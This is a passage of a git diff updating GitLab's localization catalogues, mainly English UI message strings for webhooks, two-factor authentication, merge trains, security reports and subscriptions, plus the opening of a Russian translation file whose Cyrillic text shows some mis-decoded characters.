-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21658,6 +22276,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21688,9 +22309,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21814,6 +22432,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21844,6 +22465,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -22033,6 +22657,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -22045,6 +22675,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22363,19 +22999,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22471,6 +23107,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22513,7 +23152,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22564,12 +23203,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22627,6 +23275,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22756,10 +23407,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23656,6 +24307,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23704,6 +24358,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23716,6 +24373,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23899,6 +24559,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23968,9 +24634,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -24007,16 +24670,13 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -24043,6 +24703,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -24073,6 +24736,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -24127,6 +24793,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24229,13 +24901,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24274,6 +24946,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24391,6 +25066,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24466,12 +25144,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24484,6 +25165,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24634,19 +25318,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24670,6 +25354,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24700,7 +25387,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24874,9 +25561,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -25039,15 +25723,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -25108,6 +25792,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25483,9 +26170,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25570,9 +26254,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25594,9 +26284,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25657,6 +26344,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25801,6 +26491,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25870,9 +26563,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25888,10 +26590,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -26074,7 +26788,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26164,6 +26878,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26245,9 +26962,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26263,7 +26977,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26338,7 +27052,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26428,9 +27142,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26482,9 +27193,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26728,9 +27436,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26764,6 +27478,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26800,6 +27517,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26842,6 +27562,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -27046,6 +27772,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -27109,9 +27838,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27253,7 +27979,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27298,6 +28024,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27319,21 +28129,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27343,6 +28153,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27661,10 +28474,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27673,6 +28486,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27682,6 +28501,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27718,9 +28540,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27754,13 +28573,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27844,10 +28663,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -28060,6 +28879,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -28135,7 +28957,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28252,6 +29074,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28381,6 +29206,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28684,12 +29512,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28849,6 +29671,12 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "group"
msgstr ""
@@ -28894,9 +29722,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28939,6 +29764,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -29089,9 +29917,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -29104,6 +29938,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29176,9 +30013,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29212,12 +30046,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29299,19 +30127,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29527,6 +30355,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29572,9 +30403,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29692,6 +30520,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29710,6 +30541,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29773,6 +30607,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/ru/gitlab.po b/locale/ru/gitlab.po
index d860c277ca5..aa6349ac3b9 100644
--- a/locale/ru/gitlab.po
+++ b/locale/ru/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ru\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:48\n"
+"PO-Revision-Date: 2020-09-04 23:10\n"
msgid " %{start} to %{end}"
msgstr " %{start} по %{end}"
@@ -60,14 +60,14 @@ msgstr[3] " улучшилоÑÑŒ на %d пунктов"
msgid " or "
msgstr " или "
-msgid " or <!merge request id>"
-msgstr " или <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
+msgstr ""
-msgid " or <#issue id>"
-msgstr " или <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
+msgstr ""
-msgid " or <&epic id>"
-msgstr " или <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
+msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
msgstr " или ÑÑылки (например: path/to/project!merge_request_id)"
@@ -75,6 +75,9 @@ msgstr " или ÑÑылки (например: path/to/project!merge_request_id
msgid "\"%{path}\" did not exist on \"%{ref}\""
